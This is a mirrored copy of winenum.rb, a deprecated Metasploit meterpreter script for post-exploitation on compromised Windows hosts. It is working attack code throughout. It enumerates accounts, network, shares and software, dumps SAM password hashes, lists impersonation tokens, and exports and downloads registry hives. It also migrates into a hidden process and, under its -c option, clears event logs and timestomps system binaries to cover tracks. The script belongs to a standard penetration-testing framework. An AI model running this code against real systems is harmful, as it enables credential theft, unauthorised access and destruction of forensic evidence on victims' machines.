CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/winenum.rb
Views: 11766
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
9
#-------------------------------------------------------------------------------
10
################## Variable Declarations ##################
11
@client = client
12
opts = Rex::Parser::Arguments.new(
13
"-h" => [ false, "Help menu." ],
14
"-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ],
15
"-r" => [ false, "Dump, compress and download entire Registry" ],
16
"-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ]
17
)
18
19
rd = nil
20
mg = nil
21
cm = nil
22
opts.parse(args) { |opt, idx, val|
23
case opt
24
when '-r'
25
rd = 1
26
when '-m'
27
mg = 1
28
when '-c'
29
cm = 1
30
when "-h"
31
print_line "WinEnum -- Windows local enumeration"
32
print_line
33
print_line "Retrieves all kinds of information about the system"
34
print_line "including environment variables, network interfaces,"
35
print_line "routing, user accounts, and much more. Results are"
36
print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}"
37
print_line(opts.usage)
38
raise Rex::Script::Completed
39
end
40
}
41
42
#-------------------------------------------------------------------------------
43
44
host,port = @client.session_host, @client.session_port
45
info = @client.sys.config.sysinfo
46
# Create Filename info to be appended to downloaded files
47
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
48
49
# Create a directory for the logs
50
logs = ::File.join(Msf::Config.log_directory,'scripts', 'winenum',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo))
51
@logfol = logs
52
# Create the log directory
53
::FileUtils.mkdir_p(logs)
54
55
#log file name
56
@dest = logs + "/" + Rex::FileUtils.clean_path(info['Computer'] + filenameinfo) + ".txt"
57
58
# Commands that will be ran on the Target
59
commands = [
60
'cmd.exe /c set',
61
'arp -a',
62
'ipconfig /all',
63
'ipconfig /displaydns',
64
'route print',
65
'net view',
66
'netstat -nao',
67
'netstat -vb',
68
'netstat -ns',
69
'net accounts',
70
'net accounts /domain',
71
'net session',
72
'net share',
73
'net group',
74
'net user',
75
'net localgroup',
76
'net localgroup administrators',
77
'net group administrators',
78
'net view /domain',
79
'netsh firewall show config',
80
'tasklist /svc',
81
'tasklist /m',
82
'gpresult /SCOPE COMPUTER /Z',
83
'gpresult /SCOPE USER /Z'
84
]
85
# Windows 2008 Commands
86
win2k8cmd = [
87
'servermanagercmd.exe -q',
88
'cscript /nologo winrm get winrm/config',
89
]
90
# Commands that MACE will be changed
91
cmdstomp = [
92
'cmd.exe',
93
'reg.exe',
94
'ipconfig.exe',
95
'route.exe',
96
'net.exe',
97
'netstat.exe',
98
'netsh.exe',
99
'makecab.exe',
100
'tasklist.exe',
101
'wbem\\wmic.exe',
102
'gpresult.exe'
103
]
104
# WMIC Commands that will be executed on the Target
105
wmic = [
106
'useraccount list',
107
'group list',
108
'service list brief',
109
'volume list brief',
110
'logicaldisk get description,filesystem,name,size',
111
'netlogin get name,lastlogon,badpasswordcount',
112
'netclient list brief',
113
'netuse get name,username,connectiontype,localname',
114
'share get name,path',
115
'nteventlog get path,filename,writeable',
116
'process list brief',
117
'startup list full',
118
'rdtoggle list',
119
'product get name,version',
120
'qfe',
121
]
122
#Specific Commands for Windows vista for Wireless Enumeration
123
vstwlancmd = [
124
'netsh wlan show interfaces',
125
'netsh wlan show drivers',
126
'netsh wlan show profiles',
127
'netsh wlan show networks mode=bssid',
128
]
129
# Commands that are not present in Windows 2000
130
nonwin2kcmd = [
131
'netsh firewall show config',
132
'tasklist /svc',
133
'gpresult /SCOPE COMPUTER /Z',
134
'gpresult /SCOPE USER /Z',
135
'prnport -l',
136
'prnmngr -g',
137
'tasklist.exe',
138
'wbem\\wmic.exe',
139
'netsh.exe',
140
]
141
# Executables not present in Windows 2000
142
nowin2kexe = [
143
'netsh.exe',
144
'gpresult.exe',
145
'tasklist.exe',
146
'wbem\\wmic.exe',
147
]
148
################## Function Declarations ##################
149
150
def findprogs()
151
print_status("Extracting software list from registry")
152
proglist = ""
153
threadnum = 0
154
a = []
155
appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
156
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ]
157
appkeys.each do |keyx86|
158
soft_keys = registry_enumkeys(keyx86)
159
if soft_keys
160
soft_keys.each do |k|
161
if threadnum < 10
162
a.push(::Thread.new {
163
begin
164
dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName")
165
dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion")
166
proglist << "#{dispnm},#{dispversion}"
167
rescue
168
end
169
})
170
threadnum += 1
171
else
172
sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
173
threadnum = 0
174
end
175
end
176
end
177
end
178
179
file_local_write("#{@logfol}/programs_list.csv",proglist)
180
end
181
# Function to check if Target Machine a VM
182
# Note: will add soon Hyper-v and Citrix Xen check.
183
def chkvm()
184
check = nil
185
vmout = ''
186
info = @client.sys.config.sysinfo
187
print_status "Checking if #{info['Computer']} is a Virtual Machine ........"
188
189
# Check for Target Machines if running in VM, only for VMware Workstation/Fusion
190
begin
191
key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS'
192
root_key, base_key = @client.sys.registry.splitkey(key)
193
open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
194
v = open_key.query_value('SystemManufacturer')
195
sysmnfg = v.data.downcase
196
if sysmnfg =~ /vmware/
197
print_status "\tThis is a VMware Workstation/Fusion Virtual Machine"
198
vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n"
199
check = 1
200
elsif sysmnfg =~ /xen/
201
print_status("\tThis is a Xen Virtual Machine.")
202
check = 1
203
end
204
rescue
205
206
end
207
if check != 1
208
begin
209
#Registry path using the HD and CD rom entries in the registry in case propirtary tools are
210
#not installed.
211
key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0"
212
root_key2, base_key2 = @client.sys.registry.splitkey(key2)
213
open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ)
214
v2 = open_key2.query_value('Identifier')
215
216
if v2.data.downcase =~ /vmware/
217
print_status "\tThis is a VMWare virtual Machine"
218
vmout << "This is a VMWare virtual Machine\n\n"
219
elsif v2.data =~ /vbox/
220
print_status "\tThis is a Sun VirtualBox virtual Machine"
221
vmout << "This is a Sun VirtualBox virtual Machine\n\n"
222
elsif v2.data.downcase =~ /xen/
223
print_status "\tThis is a Xen virtual Machine"
224
vmout << "This is a Xen virtual Machine\n\n"
225
elsif v2.data.downcase =~ /virtual hd/
226
print_status "\tThis is a Hyper-V/Virtual Server virtual Machine"
227
vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n"
228
end
229
rescue::Exception => e
230
end
231
end
232
vmout
233
end
234
#-------------------------------------------------------------------------------
235
# Function for running a list a commands stored in a array, return string
236
def list_exec(cmdlst)
237
print_status("Running Command List ...")
238
i = 0
239
a =[]
240
@client.response_timeout=120
241
cmdlst.each do |cmd|
242
if i < 10
243
a.push(::Thread.new {
244
r,cmdout='',""
245
print_status "\trunning command #{cmd}"
246
r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
247
while(d = r.channel.read)
248
cmdout << d
249
file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)
250
end
251
cmdout = ""
252
r.channel.close
253
r.close
254
})
255
i += 1
256
257
258
else
259
sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty?
260
i = 0
261
end
262
end
263
264
a.delete_if {|x| not x.alive?} while not a.empty?
265
end
266
#-------------------------------------------------------------------------------
267
# Function for running a list of WMIC commands stored in a array, returns string
268
def wmicexec(wmiccmds= nil)
269
print_status("Running WMIC Commands ....")
270
i, a = 0, []
271
@client.response_timeout=120
272
273
begin
274
tmp = @client.sys.config.getenv('TEMP')
275
276
wmiccmds.each do |wmi|
277
if i < 10
278
a.push(::Thread.new {
279
tmpout = ''
280
wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv"
281
print_status "\trunning command wmic #{wmi}"
282
flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv"
283
r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true})
284
sleep(2)
285
#Making sure that WMIC finishes before executing next WMIC command
286
prog2check = "wmic.exe"
287
found = 0
288
while found == 0
289
@client.sys.process.get_processes().each do |x|
290
found =1
291
if prog2check == (x['name'].downcase)
292
sleep(0.5)
293
found = 0
294
end
295
end
296
end
297
r.close
298
# Read output of WMIC
299
wmioutfile = @client.fs.file.new(wmicfl, "rb")
300
until wmioutfile.eof?
301
tmpout << wmioutfile.read
302
end
303
wmioutfile.close
304
# Create file with output of command
305
filewrt(flname,tmpout)
306
# Delete created file on disk
307
begin
308
@client.fs.file.rm(wmicfl)
309
rescue
310
end
311
312
})
313
i += 1
314
else
315
sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty?
316
i = 0
317
end
318
end
319
a.delete_if {|x| not x.alive?} while not a.empty?
320
321
rescue ::Exception => e
322
print_status("Error running WMIC commands: #{e.class} #{e}")
323
end
324
end
325
#-------------------------------------------------------------------------------
326
#Function for getting the NTLM and LANMAN hashes out of a system
327
def gethash()
328
print_status("Dumping password hashes...")
329
begin
330
hash = ''
331
@client.core.use("priv")
332
select(nil, nil, nil, 3)
333
hashes = @client.priv.sam_hashes
334
hashes.each do |h|
335
hash << h.to_s+"\n"
336
end
337
hash << "\n\n\n"
338
print_status("Hashes Dumped")
339
rescue ::Exception => e
340
print_status("\tError dumping hashes: #{e.class} #{e}")
341
print_status("\tPayload may be running with insufficient privileges!")
342
end
343
flname = "#{@logfol}/hashdump.txt"
344
file_local_write(flname,hash)
345
346
end
347
#-------------------------------------------------------------------------------
348
#Function that uses the incognito features to list tokens on the system that can be used
349
def listtokens()
350
begin
351
print_status("Getting Tokens...")
352
dt = ''
353
@client.core.use("incognito")
354
i = 0
355
dt << "****************************\n"
356
dt << " List of Available Tokens\n"
357
dt << "****************************\n\n"
358
while i < 2
359
tokens = @client.incognito.incognito_list_tokens(i)
360
if i == 0
361
tType = "User"
362
else
363
tType = "Group"
364
end
365
dt << "#{tType} Delegation Tokens Available \n"
366
dt << "======================================== \n"
367
368
tokens['delegation'].each_line{ |string|
369
dt << string + "\n"
370
}
371
372
dt << "\n"
373
dt << "#{tType} Impersonation Tokens Available \n"
374
dt << "======================================== \n"
375
376
tokens['impersonation'].each_line{ |string|
377
dt << string + "\n"
378
}
379
i += 1
380
break if i == 2
381
end
382
print_status("All tokens have been processed")
383
rescue ::Exception => e
384
print_status("Error Getting Tokens: #{e.class} #{e}")
385
end
386
file_local_write("#{@logfol}/tokens.txt",dt)
387
end
388
#-------------------------------------------------------------------------------
389
# Function for clearing all event logs
390
def clrevtlgs()
391
evtlogs = [
392
'security',
393
'system',
394
'application',
395
'directory service',
396
'dns server',
397
'file replication service'
398
]
399
print_status("Clearing Event Logs, this will leave and event 517")
400
begin
401
evtlogs.each do |evl|
402
print_status("\tClearing the #{evl} Event Log")
403
log = @client.sys.eventlog.open(evl)
404
log.clear
405
file_local_write(@dest,"Cleared the #{evl} Event Log")
406
end
407
print_status("All Event Logs have been cleared")
408
rescue ::Exception => e
409
print_status("Error clearing Event Log: #{e.class} #{e}")
410
411
end
412
end
413
#-------------------------------------------------------------------------------
414
# Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array
415
# The files have to be in %WinDir%\System32 folder.
416
def chmace(cmds)
417
windir = ''
418
print_status("Changing Access Time, Modified Time and Created Time of Files Used")
419
windir = @client.sys.config.getenv('WinDir')
420
cmds.each do |c|
421
begin
422
@client.core.use("priv")
423
filetostomp = windir + "\\system32\\"+ c
424
fl2clone = windir + "\\system32\\chkdsk.exe"
425
print_status("\tChanging file MACE attributes on #{filetostomp}")
426
@client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)
427
file_local_write(@dest,"Changed MACE of #{filetostomp}")
428
rescue ::Exception => e
429
print_status("Error changing MACE: #{e.class} #{e}")
430
end
431
end
432
end
433
#-------------------------------------------------------------------------------
434
#Dumping and Downloading the Registry of the target machine
435
def regdump(pathoflogs,filename)
436
host,port = @client.session_host, @client.session_port
437
#This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress
438
garbage = ''
439
hives = %w{HKCU HKLM HKCC HKCR HKU}
440
windir = @client.sys.config.getenv('WinDir')
441
print_status('Dumping and Downloading the Registry')
442
hives.each do |hive|
443
begin
444
print_status("\tExporting #{hive}")
445
r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true})
446
while(d = r.channel.read)
447
garbage << d
448
end
449
r.channel.close
450
r.close
451
print_status("\tCompressing #{hive} into cab file for faster download")
452
r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true})
453
while(d = r.channel.read)
454
garbage << d
455
end
456
r.channel.close
457
r.close
458
459
rescue ::Exception => e
460
print_status("Error dumping Registry Hives #{e.class} #{e}")
461
end
462
end
463
#Downloading compressed registry Hives
464
hives.each do |hive|
465
begin
466
print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab")
467
@client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab")
468
file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive")
469
sleep(5)
470
rescue ::Exception => e
471
print_status("Error Downloading Registry Hives #{e.class} #{e}")
472
end
473
end
474
#Deleting left over files
475
print_status("\tDeleting left over files")
476
@client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'})
477
478
end
479
#-------------------------------------------------------------------------------
480
# Function that will call 2 other Functions to cover all tracks
481
def covertracks(cmdstomp)
482
clrevtlgs()
483
info = @client.sys.config.sysinfo
484
trgtos = info['OS']
485
if trgtos =~ /(Windows 2000)/
486
chmace(cmdstomp - nonwin2kcmd)
487
else
488
chmace(cmdstomp)
489
end
490
end
491
492
#-------------------------------------------------------------------------------
493
# Functions Provided by natron (natron 0x40 invisibledenizen 0x2E com)
494
# for Process Migration
495
#---------------------------------------------------------------------------------------------------------
496
def launchProc(target)
497
print_status("Launching hidden #{target}...")
498
499
# Set the vars; these can of course be modified if need be
500
cmd_exec = target
501
cmd_args = nil
502
hidden = true
503
channelized = nil
504
use_thread_token = false
505
506
# Launch new process
507
newproc = @client.sys.process.execute(cmd_exec, cmd_args,
508
'Channelized' => channelized,
509
'Hidden' => hidden,
510
'InMemory' => nil,
511
'UseThreadToken' => use_thread_token)
512
513
print_status("Process #{newproc.pid} created.")
514
515
return newproc
516
end
517
#-------------------------------------------------------------------------------
518
def migrateToProc(newproc)
519
# Grab the current pid info
520
server = @client.sys.process.open
521
print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.")
522
523
# Save the old process info so we can kill it after migration.
524
oldproc = server.pid
525
526
# Do the migration
527
@client.core.migrate(newproc.pid.to_i)
528
529
print_status("Migration completed successfully.")
530
531
# Grab new process info
532
server = @client.sys.process.open
533
534
print_status("New server process: #{server.name} (#{server.pid})")
535
536
return oldproc
537
end
538
539
#-------------------------------------------------------------------------------
540
def killApp(procpid)
541
@client.sys.process.kill(procpid)
542
print_status("Old process #{procpid} killed.")
543
end
544
545
#---------------------------------------------------------------------------------------------------------
546
# Function to execute process migration
547
def migrate()
548
target = 'cmd.exe'
549
newProcPid = launchProc(target)
550
oldProc = migrateToProc(newProcPid)
551
#killApp(oldProc)
552
#Dangerous depending on the service exploited
553
end
554
#---------------------------------------------------------------------------------------------------------
555
#Function for Checking for UAC
556
def uaccheck()
557
uac = is_uac_enabled?
558
if uac
559
print_status("\tUAC is Enabled")
560
else
561
print_status("\tUAC is Disabled")
562
end
563
564
return uac
565
end
566
567
#check for proper Meterpreter Platform
568
def unsupported
569
print_error("This version of Meterpreter is not supported with this Script!")
570
raise Rex::Script::Completed
571
end
572
unsupported if client.platform != 'windows'
573
574
################## MAIN ##################
575
576
# Execute Functions selected
577
if (mg != nil)
578
migrate()
579
end
580
# Main part of script, it will run all function minus the ones
581
# that will chance the MACE and Clear the Event log.
582
print_status("Running Windows Local Enumeration Meterpreter Script")
583
print_status("New session on #{host}:#{port}...")
584
585
# Header for File that will hold all the output of the commands
586
info = @client.sys.config.sysinfo
587
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
588
header << "Running as: #{@client.sys.config.getuid}\n"
589
header << "Host: #{info['Computer']}\n"
590
header << "OS: #{info['OS']}\n"
591
header << "\n\n\n"
592
print_status("Saving general report to #{@dest}")
593
print_status("Output of each individual command is saved to #{@logfol}")
594
file_local_write(@dest,header)
595
file_local_write(@dest,chkvm())
596
trgtos = info['OS']
597
uac = uaccheck()
598
# Run Commands according to OS some commands are not available on all versions of Windows
599
if trgtos =~ /(Windows XP)/
600
if trgtos =~ /(2600, \)|2600, Service Pack 1\))/
601
commands.delete('netstat -vb')
602
commands.delete('netsh firewall show config')
603
end
604
list_exec(commands)
605
wmicexec(wmic)
606
findprogs()
607
gethash()
608
elsif trgtos =~ /(Windows .NET)/
609
list_exec(commands)
610
wmicexec(wmic)
611
findprogs()
612
gethash()
613
elsif trgtos =~ /(Windows 2008)/
614
list_exec(commands + win2k8cmd)
615
wmicexec(wmic)
616
findprogs()
617
if not is_system?
618
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.")
619
else
620
gethash()
621
end
622
elsif trgtos =~ /Windows (Vista|7)/
623
list_exec(commands + vstwlancmd)
624
# Check for UAC and save results
625
if uac
626
file_local_write(@dest,"UAC is Enabled")
627
else
628
file_local_write(@dest,"UAC is Disabled")
629
end
630
wmicexec(wmic)
631
findprogs()
632
if not is_system?
633
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.")
634
else
635
gethash()
636
end
637
elsif trgtos =~ /(Windows 2000)/
638
list_exec(commands - nonwin2kcmd)
639
gethash()
640
end
641
642
listtokens()
643
if (rd != nil)
644
if not uac
645
regdump(logs,filenameinfo)
646
else
647
print_status("UAC is enabled, Registry Keys could not be dumped under current privileges")
648
end
649
end
650
if (cm != nil)
651
if trgtos =~ /(Windows 2000)/
652
covertracks(cmdstomp - nowin2kexe)
653
else
654
if not uac
655
covertracks(cmdstomp)
656
else
657
print_status("UAC is enabled, Logs could not be cleared under current privileges")
658
end
659
end
660
end
661
print_status("Done!")
662
663